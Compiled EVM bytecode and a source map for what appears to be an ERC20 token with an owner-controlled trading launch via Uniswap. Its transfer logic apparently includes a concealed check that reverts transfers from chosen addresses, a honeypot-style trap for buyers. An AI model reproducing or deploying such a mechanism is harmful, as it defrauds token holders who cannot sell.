ffffff168273ffffffffffffffffffffffffffffffffffffffff1603610dc7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dbe906118df565b60405180910390fd5b5f8111610e09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e009061196d565b60405180910390fd5b5f5f905060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610e9657503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015610ea75750610ea68461109c565b5b15610eb25760075490505b610f028260065f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461103f90919063ffffffff16565b60065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610f938260065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461114a90919063ffffffff16565b60065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110319190611348565b60405180910390a350505050565b5f82821115611083576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107a906119d5565b60405180910390fd5b5f82846110909190611a20565b90508091505092915050565b5f5f60055f60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205414611141575f5ffd5b60019050919050565b5f5f82846111589190611a53565b90508381101561119d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119490611ad0565b60405180910390fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6111e9826111a7565b6111f381856111b1565b93506112038185602086016111c1565b61120c816111cf565b840191505092915050565b5f6020820190508181035f83015261122f81846111df565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6112648261123b565b9050919050565b6112748161125a565b811461127e575f5ffd5b50565b5f8135905061128f8161126b565b92915050565b5f819050919050565b6112a781611295565b81146112b1575f5ffd5b50565b5f813590506112c28161129e565b92915050565b5f5f604083850312156112de576112dd611237565b5b5f6112eb85828601611281565b92505060206112fc858286016112b4565b9150509250929050565b5f8115159050919050565b61131a81611306565b82525050565b5f6020820190506113335f830184611311565b92915050565b61134281611295565b82525050565b5f60208201905061135b5f830184611339565b92915050565b5f5f5f6060848603121561137857611377611237565b5b5f61138586828701611281565b935050602061139686828701611281565b92505060406113a7868287016112b4565b9150509250925092565b5f60ff82169050919050565b6113c6816113b1565b82525050565b5f6020820190506113df5f8301846113bd565b92915050565b6113ee8161125a565b82525050565b5f6020820190506114075f8301846113e5565b92915050565b5f6020828403121561142257611421611237565b5b5f61142f84828501611281565b91505092915050565b5f5f6040838503121561144e5761144d611237565b5b5f61145b85828601611281565b925050602061146c85828601611281565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6114aa6020836111b1565b91506114b582611476565b602082019050919050565b5f6020820190508181035f8301526114d78161149e565b9050919050565b5f815190506114ec8161126b565b92915050565b5f6020828403121561150757611506611237565b5b5f611514848285016114de565b91505092915050565b5f6040820190506115305f8301856113e5565b61153d60208301846113e5565b9392505050565b5f819050919050565b5f819050919050565b5f61157061156b61156684611544565b61154d565b611295565b9050919050565b61158081611556565b82525050565b5f60c0820190506115995f8301896113e5565b6115a66020830188611339565b6115b36040830187611577565b6115c06060830186611577565b6115cd60808301856113e5565b6115da60a0830184611339565b979650505050505050565b5f815190506115f38161129e565b92915050565b5f5f5f606084860312156116105761160f611237565b5b5f61161d868287016115e5565b935050602061162e868287016115e5565b925050604061163f868287016115e5565b9150509250925092565b5f60408201905061165c5f8301856113e5565b6116696020830184611339565b9392505050565b61167981611306565b8114611683575f5ffd5b50565b5f8151905061169481611670565b92915050565b5f602082840312156116af576116ae611237565b5b5f6116bc84828501611686565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61171f6024836111b1565b915061172a826116c5565b604082019050919050565b5f6020820190508181035f83015261174c81611713565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6117ad6022836111b1565b91506117b882611753565b604082019050919050565b5f6020820190508181035f8301526117da816117a1565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61183b6025836111b1565b9150611846826117e1565b604082019050919050565b5f6020820190508181035f8301526118688161182f565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6118c96023836111b1565b91506118d48261186f565b604082019050919050565b5f6020820190508181035f8301526118f6816118bd565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6119576029836111b1565b9150611962826118fd565b604082019050919050565b5f6020820190508181035f8301526119848161194b565b9050919050565b7f536166654d6174683a20207375627472616374696f6e206f766572666c6f77005f82015250565b5f6119bf601f836111b1565b91506119ca8261198b565b602082019050919050565b5f6020820190508181035f8301526119ec816119b3565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611a2a82611295565b9150611a3583611295565b9250828203905081811115611a4d57611a4c6119f3565b5b92915050565b5f611a5d82611295565b9150611a6883611295565b9250828201905080821115611a8057611a7f6119f3565b5b92915050565b7f536166654d6174683a20206164646974696f6e206f766572666c6f77000000005f82015250565b5f611aba601c836111b1565b9150611ac582611a86565b602082019050919050565b5f6020820190508181035f830152611ae781611aae565b905091905056fea2646970667358221220e6e58f30bd30636ba9742948f8ea9c03274ee33da8dc319205440583bbda6f2664736f6c634300081c0033

2235:4004:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3457:85;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3781:150;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3263:93;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4719:256;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3690:85;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2492:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3937:112;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1783:140;;;;;;;;;;;;;:::i;:::-;;2143:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3362:89;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4055:156;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5607:627;;;:::i;:::-;;3548:136;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3457:85;3494:13;3528:5;;;;;;;;;;;;;;;;;3521:12;;3457:85;:::o;3781:150::-;3847:4;3864:37;3873:10;3885:7;3894:6;3864:8;:37::i;:::-;3919:4;3912:11;;3781:150;;;;:::o;3263:93::-;3307:7;3335:12;;3328:19;;3263:93;:::o;4719:256::-;4808:4;4825:36;4835:6;4843:9;4854:6;4825:9;:36::i;:::-;4872:73;4881:6;4889:10;4901:43;4937:6;4901:11;:19;4913:6;4901:19;;;;;;;;;;;;;;;:31;4921:10;4901:31;;;;;;;;;;;;;;;;:35;;:43;;;;:::i;:::-;4872:8;:73::i;:::-;4963:4;4956:11;;4719:256;;;;;:::o;3690:85::-;3731:5;3757:9;;;;;;;;;;;3750:16;;3690:85;:::o;2492:28::-;;;;;;;;;;;;;:::o;3937:112::-;3994:7;4022:9;:18;4032:7;4022:18;;;;;;;;;;;;;;;;4015:25;;3937:112;;;:::o;1783:140::-;2070:10;2059:21;;:7;:5;:7::i;:::-;:21;;;2051:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;1882:1:::1;1845:40;;1866:6;;;;;;;;;;;1845:40;;;;;;;;;;;;1913:1;1896:6;;:19;;;;;;;;;;;;;;;;;;1783:140::o:0;2143:87::-;2189:7;2216:6;;;;;;;;;;;2209:13;;2143:87;:::o;3362:89::-;3401:13;3435:7;;;;;;;;;;;;;;;;;3428:14;;3362:89;:::o;4055:156::-;4124:4;4141:40;4151:10;4163:9;4174:6;4141:9;:40::i;:::-;4199:4;4192:11;;4055:156;;;;:::o;5607:627::-;2070:10;2059:21;;:7;:5;:7::i;:::-;:21;;;2051:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;5679:11:::1;;;;;;;;;;;5678:12;5670:21;;;;;;5703:63;5720:4;5735:15;;;;;;;;;;;5753:12;;5703:8;:63::i;:::-;5777:12;5792:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5777:37;;5859:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5841:55;;;5905:4;5912;5841:76;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5825:13;;:92;;;;;;;;;;;;;;;;;;5928:15;5946:24;5964:4;5946:9;:24::i;:::-;5928:42;;5981:15;;;;;;;;;;;:31;;;6020:9;6039:4;6046:7;6055:1;6058;6061:7;:5;:7::i;:::-;6070:15;5981:105;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;6104:13;;;;;;;;;;;6097:29;;;6135:15;;;;;;;;;;;6153:14;6097:71;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;6193:4;6179:11;;:18;;;;;;;;;;;;;;;;;;6222:4;6208:11;;:18;;;;;;;;;;;;;;;;;;5659:575;;5607:627::o:0;3548:136::-;3620:7;3648:11;:18;3660:5;3648:18;;;;;;;;;;;;;;;:27;3667:7;3648:27;;;;;;;;;;;;;;;;3641:34;;3548:136;;;;:::o;4217:335::-;4327:1;4310:19;;:5;:19;;;4302:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4408:1;4389:21;;:7;:21;;;4381:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4490:6;4460:11;:18;4472:5;4460:18;;;;;;;;;;;;;;;:27;4479:7;4460:27;;;;;;;;;;;;;;;:36;;;;4528:7;4512:32;;4521:5;4512:32;;;4537:6;4512:32;;;;;;:::i;:::-;;;;;;;;4217:335;;;:::o;4981:618::-;5085:1;5069:18;;:4;:18;;;5061:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5162:1;5148:16;;:2;:16;;;5140:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;5232:1;5223:6;:10;5215:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;5290:17;5310:1;5290:21;;5334:13;;;;;;;;;;;5326:21;;:4;:21;;;;:46;;;;;5367:4;5351:21;;:4;:21;;;;5326:46;:68;;;;;5376:18;5389:4;5376:12;:18::i;:::-;5326:68;5322:120;;;5423:7;;5411:19;;5322:120;5470:27;5490:6;5470:9;:15;5480:4;5470:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;5452:9;:15;5462:4;5452:15;;;;;;;;;;;;;;;:45;;;;5524:25;5542:6;5524:9;:13;5534:2;5524:13;;;;;;;;;;;;;;;;:17;;:25;;;;:::i;:::-;5508:9;:13;5518:2;5508:13;;;;;;;;;;;;;;;:41;;;;5580:2;5565:26;;5574:4;5565:26;;;5584:6;5565:26;;;;;;:::i;:::-;;;;;;;;5050:549;4981:618;;;:::o;456:183::-;514:7;547:1;542;:6;;534:50;;;;;;;;;;;;:::i;:::-;;;;;;;;;595:9;611:1;607;:5;;;;:::i;:::-;595:17;;630:1;623:8;;;456:183;;;;:::o;4558:155::-;4617:4;4677:1;4646:11;:21;4658:8;;;;;;;;;;;4646:21;;;;;;;;;;;;;;;:27;4668:4;4646:27;;;;;;;;;;;;;;;;:32;4638:41;;;;;;4701:4;4694:11;;4558:155;;;:::o;270:180::-;328:7;348:9;364:1;360;:5;;;;:::i;:::-;348:17;;389:1;384;:6;;376:47;;;;;;;;;;;;:::i;:::-;;;;;;;;;441:1;434:8;;;270:180;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:139::-;376:6;371:3;366;360:23;417:1;408:6;403:3;399:16;392:27;287:139;;;:::o;432:102::-;473:6;524:2;520:7;515:2;508:5;504:14;500:28;490:38;;432:102;;;:::o;540:377::-;628:3;656:39;689:5;656:39;:::i;:::-;711:71;775:6;770:3;711:71;:::i;:::-;704:78;;791:65;849:6;844:3;837:4;830:5;826:16;791:65;:::i;:::-;881:29;903:6;881:29;:::i;:::-;876:3;872:39;865:46;;632:285;540:377;;;;:::o;923:313::-;1036:4;1074:2;1063:9;1059:18;1051:26;;1123:9;1117:4;1113:20;1109:1;1098:9;1094:17;1087:47;1151:78;1224:4;1215:6;1151:78;:::i;:::-;1143:86;;923:313;;;;:::o;1323:117::-;1432:1;1429;1422:12;1569:126;1606:7;1646:42;1639:5;1635:54;1624:65;;1569:126;;;:::o;1701:96::-;1738:7;1767:24;1785:5;1767:24;:::i;:::-;1756:35;;1701:96;;;:::o;1803:122::-;1876:24;1894:5;1876:24;:::i;:::-;1869:5;1866:35;1856:63;;1915:1;1912;1905:12;1856:63;1803:122;:::o;1931:139::-;1977:5;2015:6;2002:20;1993:29;;2031:33;2058:5;2031:33;:::i;:::-;1931:139;;;;:::o;2076:77::-;2113:7;2142:5;2131:16;;2076:77;;;:::o;2159:122::-;2232:24;2250:5;2232:24;:::i;:::-;2225:5;2222:35;2212:63;;2271:1;2268;2261:12;2212:63;2159:122;:::o;2287:139::-;2333:5;2371:6;2358:20;2349:29;;2387:33;2414:5;2387:33;:::i;:::-;2287:139;;;;:::o;2432:474::-;2500:6;2508;2557:2;2545:9;2536:7;2532:23;2528:32;2525:119;;;2563:79;;:::i;:::-;2525:119;2683:1;2708:53;2753:7;2744:6;2733:9;2729:22;2708:53;:::i;:::-;2698:63;;2654:117;2810:2;2836:53;2881:7;2872:6;2861:9;2857:22;2836:53;:::i;:::-;2826:63;;2781:118;2432:474;;;;;:::o;2912:90::-;2946:7;2989:5;2982:13;2975:21;2964:32;;2912:90;;;:::o;3008:109::-;3089:21;3104:5;3089:21;:::i;:::-;3084:3;3077:34;3008:109;;:::o;3123:210::-;3210:4;3248:2;3237:9;3233:18;3225:26;;3261:65;3323:1;3312:9;3308:17;3299:6;3261:65;:::i;:::-;3123:210;;;;:::o;3339:118::-;3426:24;3444:5;3426:24;:::i;:::-;3421:3;3414:37;3339:118;;:::o;3463:222::-;3556:4;3594:2;3583:9;3579:18;3571:26;;3607:71;3675:1;3664:9;3660:17;3651:6;3607:71;:::i;:::-;3463:222;;;;:::o;3691:619::-;3768:6;3776;3784;3833:2;3821:9;3812:7;3808:23;3804:32;3801:119;;;3839:79;;:::i;:::-;3801:119;3959:1;3984:53;4029:7;4020:6;4009:9;4005:22;3984:53;:::i;:::-;3974:63;;3930:117;4086:2;4112:53;4157:7;4148:6;4137:9;4133:22;4112:53;:::i;:::-;4102:63;;4057:118;4214:2;4240:53;4285:7;4276:6;4265:9;4261:22;4240:53;:::i;:::-;4230:63;;4185:118;3691:619;;;;;:::o;4316:86::-;4351:7;4391:4;4384:5;4380:16;4369:27;;4316:86;;;:::o;4408:112::-;4491:22;4507:5;4491:22;:::i;:::-;4486:3;4479:35;4408:112;;:::o;4526:214::-;4615:4;4653:2;4642:9;4638:18;4630:26;;4666:67;4730:1;4719:9;4715:17;4706:6;4666:67;:::i;:::-;4526:214;;;;:::o;4746:118::-;4833:24;4851:5;4833:24;:::i;:::-;4828:3;4821:37;4746:118;;:::o;4870:222::-;4963:4;5001:2;4990:9;4986:18;4978:26;;5014:71;5082:1;5071:9;5067:17;5058:6;5014:71;:::i;:::-;4870:222;;;;:::o;5098:329::-;5157:6;5206:2;5194:9;5185:7;5181:23;5177:32;5174:119;;;5212:79;;:::i;:::-;5174:119;5332:1;5357:53;5402:7;5393:6;5382:9;5378:22;5357:53;:::i;:::-;5347:63;;5303:117;5098:329;;;;:::o;5433:474::-;5501:6;5509;5558:2;5546:9;5537:7;5533:23;5529:32;5526:119;;;5564:79;;:::i;:::-;5526:119;5684:1;5709:53;5754:7;5745:6;5734:9;5730:22;5709:53;:::i;:::-;5699:63;;5655:117;5811:2;5837:53;5882:7;5873:6;5862:9;5858:22;5837:53;:::i;:::-;5827:63;;5782:118;5433:474;;;;;:::o;5913:182::-;6053:34;6049:1;6041:6;6037:14;6030:58;5913:182;:::o;6101:366::-;6243:3;6264:67;6328:2;6323:3;6264:67;:::i;:::-;6257:74;;6340:93;6429:3;6340:93;:::i;:::-;6458:2;6453:3;6449:12;6442:19;;6101:366;;;:::o;6473:419::-;6639:4;6677:2;6666:9;6662:18;6654:26;;6726:9;6720:4;6716:20;6712:1;6701:9;6697:17;6690:47;6754:131;6880:4;6754:131;:::i;:::-;6746:139;;6473:419;;;:::o;6898:143::-;6955:5;6986:6;6980:13;6971:22;;7002:33;7029:5;7002:33;:::i;:::-;6898:143;;;;:::o;7047:351::-;7117:6;7166:2;7154:9;7145:7;7141:23;7137:32;7134:119;;;7172:79;;:::i;:::-;7134:119;7292:1;7317:64;7373:7;7364:6;7353:9;7349:22;7317:64;:::i;:::-;7307:74;;7263:128;7047:351;;;;:::o;7404:332::-;7525:4;7563:2;7552:9;7548:18;7540:26;;7576:71;7644:1;7633:9;7629:17;7620:6;7576:71;:::i;:::-;7657:72;7725:2;7714:9;7710:18;7701:6;7657:72;:::i;:::-;7404:332;;;;;:::o;7742:85::-;7787:7;7816:5;7805:16;;7742:85;;;:::o;7833:60::-;7861:3;7882:5;7875:12;;7833:60;;;:::o;7899:158::-;7957:9;7990:61;8008:42;8017:32;8043:5;8017:32;:::i;:::-;8008:42;:::i;:::-;7990:61;:::i;:::-;7977:74;;7899:158;;;:::o;8063:147::-;8158:45;8197:5;8158:45;:::i;:::-;8153:3;8146:58;8063:147;;:::o;8216:807::-;8465:4;8503:3;8492:9;8488:19;8480:27;;8517:71;8585:1;8574:9;8570:17;8561:6;8517:71;:::i;:::-;8598:72;8666:2;8655:9;8651:18;8642:6;8598:72;:::i;:::-;8680:80;8756:2;8745:9;8741:18;8732:6;8680:80;:::i;:::-;8770;8846:2;8835:9;8831:18;8822:6;8770:80;:::i;:::-;8860:73;8928:3;8917:9;8913:19;8904:6;8860:73;:::i;:::-;8943;9011:3;9000:9;8996:19;8987:6;8943:73;:::i;:::-;8216:807;;;;;;;;;:::o;9029:143::-;9086:5;9117:6;9111:13;9102:22;;9133:33;9160:5;9133:33;:::i;:::-;9029:143;;;;:::o;9178:663::-;9266:6;9274;9282;9331:2;9319:9;9310:7;9306:23;9302:32;9299:119;;;9337:79;;:::i;:::-;9299:119;9457:1;9482:64;9538:7;9529:6;9518:9;9514:22;9482:64;:::i;:::-;9472:74;;9428:128;9595:2;9621:64;9677:7;9668:6;9657:9;9653:22;9621:64;:::i;:::-;9611:74;;9566:129;9734:2;9760:64;9816:7;9807:6;9796:9;9792:22;9760:64;:::i;:::-;9750:74;;9705:129;9178:663;;;;;:::o;9847:332::-;9968:4;10006:2;9995:9;9991:18;9983:26;;10019:71;10087:1;10076:9;10072:17;10063:6;10019:71;:::i;:::-;10100:72;10168:2;10157:9;10153:18;10144:6;10100:72;:::i;:::-;9847:332;;;;;:::o;10185:116::-;10255:21;10270:5;10255:21;:::i;:::-;10248:5;10245:32;10235:60;;10291:1;10288;10281:12;10235:60;10185:116;:::o;10307:137::-;10361:5;10392:6;10386:13;10377:22;;10408:30;10432:5;10408:30;:::i;:::-;10307:137;;;;:::o;10450:345::-;10517:6;10566:2;10554:9;10545:7;10541:23;10537:32;10534:119;;;10572:79;;:::i;:::-;10534:119;10692:1;10717:61;10770:7;10761:6;10750:9;10746:22;10717:61;:::i;:::-;10707:71;;10663:125;10450:345;;;;:::o;10801:223::-;10941:34;10937:1;10929:6;10925:14;10918:58;11010:6;11005:2;10997:6;10993:15;10986:31;10801:223;:::o;11030:366::-;11172:3;11193:67;11257:2;11252:3;11193:67;:::i;:::-;11186:74;;11269:93;11358:3;11269:93;:::i;:::-;11387:2;11382:3;11378:12;11371:19;;11030:366;;;:::o;11402:419::-;11568:4;11606:2;11595:9;11591:18;11583:26;;11655:9;11649:4;11645:20;11641:1;11630:9;11626:17;11619:47;11683:131;11809:4;11683:131;:::i;:::-;11675:139;;11402:419;;;:::o;11827:221::-;11967:34;11963:1;11955:6;11951:14;11944:58;12036:4;12031:2;12023:6;12019:15;12012:29;11827:221;:::o;12054:366::-;12196:3;12217:67;12281:2;12276:3;12217:67;:::i;:::-;12210:74;;12293:93;12382:3;12293:93;:::i;:::-;12411:2;12406:3;12402:12;12395:19;;12054:366;;;:::o;12426:419::-;12592:4;12630:2;12619:9;12615:18;12607:26;;12679:9;12673:4;12669:20;12665:1;12654:9;12650:17;12643:47;12707:131;12833:4;12707:131;:::i;:::-;12699:139;;12426:419;;;:::o;12851:224::-;12991:34;12987:1;12979:6;12975:14;12968:58;13060:7;13055:2;13047:6;13043:15;13036:32;12851:224;:::o;13081:366::-;13223:3;13244:67;13308:2;13303:3;13244:67;:::i;:::-;13237:74;;13320:93;13409:3;13320:93;:::i;:::-;13438:2;13433:3;13429:12;13422:19;;13081:366;;;:::o;13453:419::-;13619:4;13657:2;13646:9;13642:18;13634:26;;13706:9;13700:4;13696:20;13692:1;13681:9;13677:17;13670:47;13734:131;13860:4;13734:131;:::i;:::-;13726:139;;13453:419;;;:::o;13878:222::-;14018:34;14014:1;14006:6;14002:14;13995:58;14087:5;14082:2;14074:6;14070:15;14063:30;13878:222;:::o;14106:366::-;14248:3;14269:67;14333:2;14328:3;14269:67;:::i;:::-;14262:74;;14345:93;14434:3;14345:93;:::i;:::-;14463:2;14458:3;14454:12;14447:19;;14106:366;;;:::o;14478:419::-;14644:4;14682:2;14671:9;14667:18;14659:26;;14731:9;14725:4;14721:20;14717:1;14706:9;14702:17;14695:47;14759:131;14885:4;14759:131;:::i;:::-;14751:139;;14478:419;;;:::o;14903:228::-;15043:34;15039:1;15031:6;15027:14;15020:58;15112:11;15107:2;15099:6;15095:15;15088:36;14903:228;:::o;15137:366::-;15279:3;15300:67;15364:2;15359:3;15300:67;:::i;:::-;15293:74;;15376:93;15465:3;15376:93;:::i;:::-;15494:2;15489:3;15485:12;15478:19;;15137:366;;;:::o;15509:419::-;15675:4;15713:2;15702:9;15698:18;15690:26;;15762:9;15756:4;15752:20;15748:1;15737:9;15733:17;15726:47;15790:131;15916:4;15790:131;:::i;:::-;15782:139;;15509:419;;;:::o;15934:181::-;16074:33;16070:1;16062:6;16058:14;16051:57;15934:181;:::o;16121:366::-;16263:3;16284:67;16348:2;16343:3;16284:67;:::i;:::-;16277:74;;16360:93;16449:3;16360:93;:::i;:::-;16478:2;16473:3;16469:12;16462:19;;16121:366;;;:::o;16493:419::-;16659:4;16697:2;16686:9;16682:18;16674:26;;16746:9;16740:4;16736:20;16732:1;16721:9;16717:17;16710:47;16774:131;16900:4;16774:131;:::i;:::-;16766:139;;16493:419;;;:::o;16918:180::-;16966:77;16963:1;16956:88;17063:4;17060:1;17053:15;17087:4;17084:1;17077:15;17104:194;17144:4;17164:20;17182:1;17164:20;:::i;:::-;17159:25;;17198:20;17216:1;17198:20;:::i;:::-;17193:25;;17242:1;17239;17235:9;17227:17;;17266:1;17260:4;17257:11;17254:37;;;17271:18;;:::i;:::-;17254:37;17104:194;;;;:::o;17304:191::-;17344:3;17363:20;17381:1;17363:20;:::i;:::-;17358:25;;17397:20;17415:1;17397:20;:::i;:::-;17392:25;;17440:1;17437;17433:9;17426:16;;17461:3;17458:1;17455:10;17452:36;;;17468:18;;:::i;:::-;17452:36;17304:191;;;;:::o;17501:178::-;17641:30;17637:1;17629:6;17625:14;17618:54;17501:178;:::o;17685:366::-;17827:3;17848:67;17912:2;17907:3;17848:67;:::i;:::-;17841:74;;17924:93;18013:3;17924:93;:::i;:::-;18042:2;18037:3;18033:12;18026:19;;17685:366;;;:::o;18057:419::-;18223:4;18261:2;18250:9;18246:18;18238:26;;18310:9;18304:4;18300:20;18296:1;18285:9;18281:17;18274:47;18338:131;18464:4;18338:131;:::i;:::-;18330:139;;18057:419;;;:::o

ipfs://e6e58f30bd30636ba9742948f8ea9c03274ee33da8dc319205440583bbda6f26